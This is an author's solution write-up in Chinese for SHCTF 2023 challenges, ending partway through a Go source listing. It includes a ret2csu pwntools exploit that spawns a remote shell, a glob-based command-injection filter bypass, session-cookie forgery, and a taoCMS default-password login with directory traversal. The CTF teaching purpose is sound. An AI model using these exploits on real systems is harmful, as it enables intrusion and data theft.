SHCTF2023 出题人wp (19题)

感谢各位师傅们的热情参赛

警告
本文最后更新于 2023-11-01,文中内容可能已过时。
Intro

这次SHCTF 2023我一共出了19道题(如果有写错的部分,请师傅们见谅)

week1的密码和misc质量很无语,我没出week1的misc 怕放在一起被骂

出的大部分都是动态附件的题目,用于检查py情况

出题情况:

1
2
3
4
5
6
Web*4
Pwn*3
Re*3
Crypto*3
Misc*4
Blockchain*2
1
2
3
4
其中动态附件的题目有
RE: crackme、 喵?喵。喵!(动态靶机生成题目附件)
CRYPTO: 全部
MISC:远在天边近在眼前、尓纬玛

作为主要赛事运维,写了几乎所有的docker镜像,(40个)

写wp写不动了,下次再也不出这么多题了

web

[WEEK1]纸飞机

小飞棍来喽

首先查看页面的源代码,可以看到这么一个js文件,一般像这种网页上简单的游戏题,其背后的运行逻辑都是写在JavaScript(js)文件里的,包括达到条件后弹出的flag也会写在里面,所以我们可以从js文件入手

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <title></title>
    <meta http-equiv="content" content="text/html" charset="utf-8"/>
    <link rel="stylesheet" type="text/css" href="css/main.css"/>
</head>

<body>
<div id="contentdiv">
    <div id="startdiv">
        <button onclick="begin()">开始游戏</button>
    </div>
    <div id="maindiv">
        <div id="scorediv">
            <label>分数:</label>
            <label id="label">0</label>
        </div>
        <div id="suspenddiv">
            <button>继续</button><br/>
            <button>重新开始</button><br/>
            <button>回到主页</button>
        </div>
        <div id="enddiv">
            <p class="plantext">本次游戏分数</p>
            <p id="planscore">0</p>
            <div><button onclick="jixu()">继续</button></div>
        </div>
    </div>
</div>
<script type="text/javascript" src="js/main.js"></script>
</body>
</html>

在js文件里可以找到这么一段Unicode编码,同时可以看到这个function里有alert函数(即弹窗作用) 猜测这里存在flag,拿去Unicode解码得到flag

1
2
3
4
function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u0069\u004f\u0057\u0059\u0078\u004f\u0044\u004e\u006a\u004e\u0053\u0030\u0031\u004d\u007a\u0041\u0077\u004c\u0054\u0052\u006d\u004d\u0047\u0045\u0074\u004f\u0044\u0068\u0069\u004f\u0043\u0030\u007a\u004e\u007a\u004d\u0077\u004d\u006d\u0052\u006a\u004d\u0044\u0051\u0030\u005a\u0054\u0052\u0039\u000a";
	alert(atob(galf));
}

image-20231030164316712

当然这个函数可以直接调用

image-20231030163844938

审计一下的话

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
    this.planmove=function(){
        if(scores<=5000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+"px";
        }
        else if(scores>5000&&scores<=10000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+1+"px";
        }
        else if(scores>10000&&scores<=15000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+2+"px";
        }
        else if(scores>15000&&scores<=20000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+3+"px";
        }
        else if(scores>20000&&scores<=30000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+4+"px";
        }
        else if(scores>30000&&scores<=40000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+5+"px";
        }
        else if(scores>40000&&scores<=50000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+6+"px";
        }
        else if(scores>50000&&scores<=60000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+7+"px";
        }
        else if(scores>60000&&scores<=70000){
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+8+"px";
        }
        else{
            this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+15+"px";
        }
		if(scores>99999){
        selfplan.imagenode.src="image/boom.png";
        enddiv.style.display="block";
        planscore.innerHTML=scores;
        if(document.removeEventListener){
            mainDiv.removeEventListener("mousemove",yidong,true);
            bodyobj.removeEventListener("mousemove",bianjie,true);
        }
        else if(document.detachEvent){
            mainDiv.detachEvent("onmousemove",yidong);
            bodyobj.removeEventListener("mousemove",bianjie,true);
        }
        clearInterval(set);
		won();
		}
    }

可以知道是在分数大于99999的时候会执行won()函数

所以也可以改分数

image-20231030164226920

[WEEK2]EasyCMS

启动会稍 一些,请稍等

hint:本题不需要扫描,请不要扫描平台

打开可以知道是taoCMS,可以搜一下

image-20231030165727448

基本上都需要先登录到后台, 搜一个默认密码登进去后台

跳转的时候,改一下就行

1
http://112.6.51.212:32971/admin/admin.php

再搜一下,taoCMS的默认密码

1
2
账户admin
密码tao

image-20231030170023043

在文件管理可以发现,可以目录穿越

根目录读flag就行

image-20231030170357731

[WEEK3]快问快答

1
2
3
4
男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

解题思路

看源码部分,可以看到一些提示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<body>
    <h1>SHCTF 快问快答</h1>
    <p class="message">连续答对50题得到flag<br></p class="message">
    <form method="POST">
        <h3>题目:7715 ÷ 2976 = ?</h3>
        <!-- tips: "与" "异或"  就是二进制的"与"   "异或" 运算 -->
        <!-- 怕写成^ &不认识( -->
        <input type="number" placeholder="请输入答案" name="answer" required>
        <button type="submit">提交</button>
    </form>
    <p>你已经答对了0题</p>
    <!-- 出错后成绩归零0 -->
    <p class="message"></p class="message">
</body>

测试可以知道,要求在题目刷新后的1~2秒之间回答

那肯定得用脚本做题了,注意本题的连续答对50次是不是对于整个容器,而是对用户分配了token

所以不能只用requests库的get,至少要用requests的Session

出题人EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
import time

session = requests.Session()
url = 'http://112.6.51.212:30442/'
for i in range(50):
    # try:
    response = session.get(url,verify=False)
    x = response.text
    # 定义正则表达式模式

    pattern = r'<h3>(.*?)</h3>'

    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')
    print(result)
    answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
    print(answer)
    data = {
        'answer': str(answer),
        }
    time.sleep(1)
    x2 = session.post(url,data=data)
    # print(x2.text)
    print(re.findall(r'<p>(.*?)</p>', x2.text))
    print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)

再来看用js的做法,以下exp来自 未定义变量 师傅

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
setTimeout(() => {
    source = document.querySelector("body > form > h3").innerText.substr(3).split(' ');
    a = parseInt(source[0]); op = source[1]; b = parseInt(source[2]);
    calc = (a, op, b) => {
        if (op == 'x') {
            return a * b;
        } else if (op == '+') {
            return a + b;
        } else if (op == '-') {
            return a - b;
        } else if (op == '与') {
            return a & b;
        } else if (op == '÷') {
            return a / b;
        } else if (op == '异或') {
            return a ^ b;
        }
    }
    document.querySelector("body > form > input[type=number]").value = parseInt(calc(a, op, b)).toString();
    document.querySelector("body > form > button").click();
}, 500)

再来看Nebula师傅使用 selenium 库 模拟点击的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
url='http://112.6.51.212:32321/'#修改 url 地址即可
driver = webdriver.Edge() # 使用 Edge 浏览器,可以根据需要选择其他浏览器driver.maximize_window() #窗口最大化
driver.get(url)
#访问登录页面
for i in range(50):
    problem=driver.find_element(By.TAG_NAME,'h3').text
    problem=problem[3:-3]
    print(problem)
    if '与' in problem:
        problem = problem.replace('与', '&')
    if '异或' in problem:
        problem = problem.replace('异或', '^')
    if '÷' in problem:
        problem = problem.replace('÷', '//')
    if 'x' in problem:
        problem = problem.replace('x', '*')
    #time.sleep(10)
    print('-------------------')
    result=eval(problem)
    print(result)
    print('-------------------')
    driver.find_element(By.TAG_NAME,'input').click()
    driver.find_element(By.TAG_NAME,'input').send_keys(result)
    time.sleep(1)
    driver.find_element(By.TAG_NAME,'button').click()
    a=driver.find_element(By.TAG_NAME,'p')
input("按 Enter 键关闭浏览器...")

学到了学到了

[WEEK3]gogogo

<( ̄︶ ̄)↗[GO!]

下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。

查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag

总共有两个路由,一个“/“路由,一个”/readflag"路由

根路由 /

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package main

import (
	"main/route"

	"github.com/gin-gonic/gin"

)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/readflag", route.Readflag)
	r.Run("0.0.0.0:8000")
}

最主要的一部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "User"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回

1
Hello, User. How to become admin?

想到需要伪造session

上面通过获取环境变量中的SESSION_KEY来获取生成secure cookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。

这里将route.go修改一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "" {
		session.Values["name"] = "admin"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

之后在附件目录

命令行go run main.go

之后访问127.0.0.1:8000获取session

image-20231030173340312

得到session

1
MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==

image-20231030173309623

然后就是readflag路由下面,如何读取flag

先来看readfile.go的实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package readfile

import (
	"os/exec"
)

func ReadFile(path string) (string2 []byte) {
	defer func() {
		panic_err := recover()
		if panic_err != nil {

		}
	}()
	cmd := exec.Command("bash", "-c", "strings  "+path)
	string2, err := cmd.Output()
	if err != nil {
		string2 = []byte("文件不存在")
	}
	return string2
}

用的bash终端下的string函数

再去看正则过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

if reg.MatchString(path) {

    http.Error(c.Writer, "nonono", http.StatusInternalServerError)
    return
}

var data []byte
if path != "" {
    data = readfile.ReadFile(path)
} else {
    data = []byte("请传入参数")
}

没过滤 /?a

直接用/??a?匹配

也就是直接访问

1
http://112.6.51.212:32997/readflag?filename=/??a?

即可

exp

1
2
3
4
5
import requests
cookies = {
    'session-name': 'MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==',
}
print(requests.get('http://112.6.51.212:32997/readflag?filename=/??a?', cookies=cookies).text)
1
2
Congratulation! You are admin,But how to get flag?
{"success":"read: flag{Ea5Y_cOMe_Ea5Y_9OoO_0893b76b453f}\n"}

pwn

[WEEK1]hard nc

考点是对于linux命令的熟悉程度

使用NC连接

image-20231030181639562

连上就是得到shell的状态

尝试cat flag

1
2
3
cat flag
flag not in here
try to find it

再找找flag

尝试cat gift2

1
2
cat gift2
cat: gift2: Is a directory

进去看一下

1
2
3
4
5
6
7
8
cd gift2
ls
flag2
cat flag2
ZDEtYTZkOC05YzRhMjEzZmIzYzJ9Cg==
congratulations you find another part of flag
but you need to decode it
try to recall it.

得到了一段base64编码后的flag

用https://cyberchef.org/ 解码

image-20231030181929950

发现是半段flag,还需要再找前半段

ls -al 列出所有文件,包括隐藏文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
ls -al
total 72
drwxr-x---  1 0 1000 4096 Oct 30 10:14 .
drwxr-x---  1 0 1000 4096 Oct 30 10:14 ..
-rwxr-x---  1 0 1000  220 Apr  4  2018 .bash_logout
-rwxr-x---  1 0 1000 3771 Apr  4  2018 .bashrc
-r--r--r--  1 0    0   81 Oct 30 10:14 .gift
-rwxr-x---  1 0 1000  807 Apr  4  2018 .profile
drwxr-x---  2 0 1000 4096 Sep 26 11:43 bin
drwxr-xr-x  2 0    0 4096 Sep 26 11:43 dev
-r--r--r--  1 0    0   32 Oct 30 10:14 flag
drwxr-xr-x  2 0    0 4096 Oct 30 10:14 gift2
drwxr-x--- 15 0 1000 4096 Sep 26 11:43 lib
drwxr-x---  3 0 1000 4096 Sep 26 11:43 lib32
drwxr-x---  2 0 1000 4096 Sep 26 11:43 lib64
-rwxr-x---  1 0 1000 8520 Sep 26 11:42 pwn

可以看到一个名为.gift的文件

在Linux 中,文件名以“.”开头的文件会被视为隐藏文件

所以直接ls命令会看不到

1
2
3
4
5
cat .gift
flag{8f0fb03b-465e-4c
just a part of flag
try to find another flag
Come on, guys

拼接得到完整flag

[WEEK1]口算题

你知道怎么用pwntools吗

交互题

image-20231030182904984

设计了6种运算,随机生成

其中要注意的是除法用的python的除,保留小数点

必须用python计算才是正确的,使用eval函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'

r = remote('112.6.51.212',30066)

r.sendlineafter(b"...",'')
for i in range(300):
    r.recvline()
    tmp = (r.recvline()).decode()[:-3].replace('×','*').replace('÷','/').strip().replace('\\n','')
    result = eval(tmp)

    r.sendline(str(result))
    r.recvline()
print(r.recv())

image-20231030183108330

[WEEK3]Start Your PWN!

Stack overflow is the beginning of the journey

考点:ret2csu

read函数可溢出

ida看到libc初始化片段__libc_csu_init可用,我们可以通过payload布局csu片段

write函数已经执行过,可泄露真实地址,从而利用它获取libc版本

ida可以得到write和main的地址

ropgadget获取可用片段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
# p=process('./pwn')
p = remote('112.6.51.212',30082)
libc=ELF('libc-2.31.so')

write_got=0x601018
main_addr=0x400699
pop_addr=0x40076A
mov_addr=0x400750

pop_rdi=0x400773
ret=0x400506

payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)
p.recvuntil('Please:\n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(hex(write_addr))

libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))

payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.recvuntil('Please:\n')
p.sendline(payload)
p.interactive()

reverse

[WEEK1]ez_apk

apk逆向,用GDA反编译

https://github.com/charles2gan/GDA-android-reversing-Tool

image-20231030184442367

找main activity的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package cn.shenghuo2.ctf.ez_apk.MainActivity;
import androidx.appcompat.app.AppCompatActivity;
import android.widget.EditText;
import java.lang.String;
import java.lang.Object;
import java.security.MessageDigest;
import java.math.BigInteger;
import java.lang.Exception;
import android.os.Bundle;
import android.view.View;
import android.widget.TextView;
import android.widget.Button;
import cn.shenghuo2.ctf.ez_apk.MainActivity$1;
import android.view.View$OnClickListener;

public class MainActivity extends AppCompatActivity	// class@000010 from classes3.dex
{
    private Object DigestUtils;
    private Button button;
    private TextView flag;
    private EditText input_1;

    public void MainActivity(){
       super();
    }
    static EditText access$000(MainActivity x0){
       return x0.input_1;
    }
    public static Object confusion(String str){
       try{
          MessageDigest md = MessageDigest.getInstance("MD5");
          md.update(str.getBytes());
          return new BigInteger(1, md.digest()).toString(16);
       }catch(java.lang.Exception e0){
          e0.printStackTrace();
          return null;
       }
    }
    protected void onCreate(Bundle savedInstanceState){
       super.onCreate(savedInstanceState);
       this.setContentView(R.layout.activity_main);
       String secret = "5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX";
       this.flag = this.findViewById(0x7f0800c0);
       this.input_1 = this.findViewById(0x7f0800df);
       Button uButton = this.findViewById(R.id.button);
       this.button = uButton;
       uButton.setOnClickListener(new MainActivity$1(this, secret));
    }
}

confusion函数不用管,他真的是混淆视线的,都没用到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class MainActivity$1 implements View$OnClickListener	// class@00000f from classes3.dex
{
    final MainActivity this$0;
    final String val$secret;

    void MainActivity$1(MainActivity this$0,String p1){
       this.this$0 = this$0;
       this.val$secret = p1;
       super();
    }
    public void onClick(View view){
       String message = MainActivity.access$000(this.this$0).getText().toString();
       String str3 = encrypt.encode(message.getBytes(StandardCharsets.UTF_8));
       if (this.val$secret.equals(str3)) {
          Toast.makeText(this.this$0.getApplication(), "flag正确", 1).show();
       }else {
          Toast.makeText(this.this$0.getApplication(), "flag错误,再去撅一会", 0).show();
       }
       return;
    }
}

重点就是encrypt.encode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package cn.shenghuo2.ctf.ez_apk.encrypt;
import java.lang.String;
import java.util.Arrays;
import java.lang.Object;

public class encrypt	// class@000011 from classes3.dex
{
    private static final char[] ALPHABET;
    private static final char ENCODED_ZERO;
    private static final int[] INDEXES;

    static {
       char[] uocharArray = "9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6".toCharArray();
       encrypt.ALPHABET = uocharArray;
       encrypt.ENCODED_ZERO = uocharArray[0];
       int[] ointArray = new int[128];
       encrypt.INDEXES = ointArray;
       Arrays.fill(ointArray, -1);
       int i = 0;
       char[] aLPHABET = encrypt.ALPHABET;
       while (i < aLPHABET.length) {
          encrypt.INDEXES[aLPHABET[i]] = i;
          i++;
       }
    }
    public void encrypt(){
       super();
    }
    private static byte divmod(byte[] number,int firstDigit,int base,int divisor){
       int remainder = 0;
       for (int i = firstDigit; i < number.length; i++) {
          int digit = number[i] & 0x00ff;
          int ix = remainder * base;
          ix = ix + digit;
          int ix1 = ix / divisor;
          number[i] = (byte)ix1;
          remainder = ix % divisor;
       }
       return (byte)remainder;
    }
    public static String encode(byte[] input){
       if (!input.length) {
          return "";
       }
       int zeros = 0;
       while (zeros < input.length && !input[zeros]) {
          zeros++;
       }
       input = Arrays.copyOf(input, input.length);
       char[] encoded = new char[(input.length * 2)];
       int outputStart = encoded.length;
       int inputStart = zeros;
       while (inputStart < input.length) {
          outputStart--;
          encoded[outputStart] = encrypt.ALPHABET[encrypt.divmod(input, inputStart, 256, 58)];
          if (!input[inputStart]) {
             inputStart++;
          }
       }
       while (outputStart < encoded.length && encoded[outputStart] == encrypt.ENCODED_ZERO) {
          outputStart++;
       }
       zeros--;
       while (zeros >= 0) {
          outputStart--;
          encoded[outputStart] = encrypt.ENCODED_ZERO;
       }
       return new String(encoded, outputStart, (encoded.length - outputStart));
    }
}

关于如何发现这是base58的换表,有几个思路:

  • 表的长度是58

  • 搜索代码,是网上的base58加密

    image-20231030185201078

  • encoded[outputStart] = encrypt.ALPHABET[encrypt.divmod(input, inputStart, 256, 58)];

  • 一眼丁真

密文

1
5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX

被替换的表

1
9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6

exp

1
print(__import__('base58').b58decode("5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX".translate(str.maketrans("9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6", "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"))).decode())

用在线网站也行:如cyberchef

1
flag{Jue_1_ju3_Y0ung_and_G0at_1s_go0d_for_yOuR_body}

[WEEK3]crackme

先确定文件类型

image-20230912120157717

lua字节码

找个软件反编译,我推荐的是unluac

java最大的特点就是跨平台,所以环境好配,其他还有什么c配环境很麻烦

1
java -jar unluac_2023_07_04.jar crackme >> crackme.lua

还原出来lua源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
print("please input your flag:")
flag = io.read()
code = {}
secret = {
    54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15
}
l = string.len(flag)
for i = 1, l do
  num = ((string.byte(flag, i) + i) % 333 + 444) % 555 - 1
  table.insert(code, num)
end
for i = 1, l do
  x = i - 1
  if i + 2 >= l then
    code[i] = code[i % l + 1] ~ code[(i + 1) % l + 1]
  else
    code[i] = code[(i + 1) % l] ~ code[(i + 2) % l]
  end
end
for i = 1, l do
  if secret[i] ~= code[i] then
    print("Incorrect")
    return
  end
end
print("You win,flag is", flag)

一个数组按位加密的过程,lua和其他语言有一个很大的不同就是数组下标(index)从1开始

具体加密过程,看不懂的自己问gpt

这里提供两个exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import string

# 定义一个字符串code_,用于存储输入的字符
code_ =  [54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15]
# 定义一个字符串flag_,用于存储输出的字符
flag_ = 'flag{'
print(len(code_))
# 定义一个变量x,用于记录当前循环的位置
x = 3
# 循环执行,直到x等于code_的长度减1
while True:
    # 如果x等于code_的长度减1,则跳出循环
    if x == len(code_)-1:
        break
    # 循环执行,每次循环都会更改flag_的值
    for s in string.printable:
        flag = flag_+s+'0'
        code = ''
        l = len(flag)
        # 循环执行,每次循环都会更改code的值
        for i in range(l):
            num = ((ord(flag[i]) + i) % 333 + 444) % 555
            code += chr(num)
        # 将code转换为字符串
        code = list(map(ord, code))
        # 循环执行,每次循环都会更改code的值
        for i in range(l):
            code[i] = code[i] ^ code[(i + 1) % l] ^ code[(i + 2) % l] ^ code[i]
        # 如果code[x]等于code_[x],则打印flag_,并将x加1
        if code[x] == code_ [x]:
            print(flag_)
            # print(x)
            x += 1
            flag_+=s
            print(flag_)
            break


# 这段代码使用了一个while循环来遍历字符串printable中的每个字符s,将s与'0'连接起来,得到一个新字符串flag。然后,它创建了一个空字符串code,长度与flag相同。接下来,它使用一个for循环遍历flag中的每个字符,计算每个字符的ASCII码,并将结果添加到code中。最后,它使用一个for循环遍历code中的每个字符,执行异或操作。在每次迭代中,它会将当前字符与前面的两个字符进行异或操作,并将结果存储在code中。

# 在循环中,它会检查x是否等于code_的长度减1。如果是,则跳出循环。然后,它会继续遍历字符串printable,将每个字符与'0'连接起来,直到得到一个长度与code_相同的字符串flag。接下来,它会更新x的值,使其等于当前字符的索引加1。最后,它会将当前字符添加到flag中,并打印flag。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string

# 定义一个函数,用于计算字符串中的每一个字符的异或值
secret = [54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15]
# 计算字符串长度
l = len(secret)
flag = ''
# 将字符串中的最后一个字符的异或值设置为最后一个字符的字符串长度减一
secret[-1] = ((ord('}') + l-1) % 333 + 444) % 555
# 遍历字符串中的每一个字符
for i in range(l-2, 0, -1):
    # 遍历字符串中的每一个字符,并且每次循环的字符串长度为当前字符的字符串长度减一
    for j in string.printable:
        # 如果当前字符的异或值与最后一个字符的异或值相等,则将当前字符的异或值设置为下一个字符的异或值
        if secret[i+1] ^ secret[i-1] == (((ord(j) + i + 1) % 333 + 444) % 555):
            secret[i] = secret[i+1] ^ secret[i-1]
            break

# 遍历字符串中的每一个字符
for i in range(l):
    # 遍历字符串中的每一个字符,并且每次循环的字符串长度为当前字符的字符串长度
    for j in string.printable:
        # 如果当前字符的异或值与最后一个字符的异或值相等,则将当前字符的字符串追加到字符串中
        if ((ord(j) + i) % 333 + 444) % 555 == secret[i]:
            flag += j
            break
# 输出计算结果
print('f' + flag)

好像差不多意思 ,都是按位爆破

1
QLNU{C000ngr4tulat1ons!Y0u_Cr4cked_m3!!!}

[WEEK3]喵?喵。喵!

开启实例, 稍等十几秒后,使用浏览器访问获取附件 若未响应请再稍等一会

1
喵喵喵喵喵喵喵喵;喵喵喵喵;喵;喵;喵喵;喵喵喵喵喵喵喵喵喵喵;喵喵喵喵;喵喵;喵;;喵喵喵;喵喵喵喵;喵喵;喵喵喵喵;喵喵喵;喵喵喵喵喵喵;喵喵喵喵;喵喵喵;喵喵喵喵喵;喵喵;喵喵喵;喵喵喵喵喵;喵喵喵;喵喵喵;喵喵;喵;喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵;喵喵喵喵喵喵;喵喵喵;喵喵喵喵喵喵喵喵喵喵;

hint:The title description doesn’t help, don’t dwell on it

描述里的这段,其实是 meowlang 的一段示例程序

效果是输出一串斐波那契数列数量的猫咪emoji

所以不用管他

这题我也不理解为什么会卡住,可能是ida反编译go的程序过于抽象

详细题解得等到农历新年左右才有时间写了

动调一下就能看到

这是 李青帝 师傅的题解

image-20231031200947060

iv是SHCTF_2023_S0_e4sy_m1ao的前十六位

key是SHCTF_2023_S0_e4sy_m1ao的后十六位

然后解AES即可

exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

key = b"SHCTF_2023_S0_e4sy_m1ao"[-16:]
iv =  b"SHCTF_2023_S0_e4sy_m1ao"[:16]

aes = AES.new(key, AES.MODE_CBC,iv)

flag = "nGxlpPB/DX81FlvivUfr/Nq/QEzHabQmtrUYr8f8idE2XgVB8Gi+/KpbTIhLfGIYMaeYhziq7ur3GyfB65+Jog=="

encrypt_flag = unpad(aes.decrypt(base64.b64decode(flag.encode())),AES.block_size).decode()
print(encrypt_flag)

附赠一份题目源码

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main

import (
        "bytes"
        "crypto/aes"
        "crypto/cipher"
        "encoding/base64"
        "fmt"
        "time"
)

func main() {
        f1ag := "nGxlpPB/DX81FlvivUfr/Nq/QEzHabQmtrUYr8f8idE2XgVB8Gi+/KpbTIhLfGIYMaeYhziq7ur3GyfB65+Jog=="
        var flag string
        typeWriter("请输入你的 flag 喵 :")
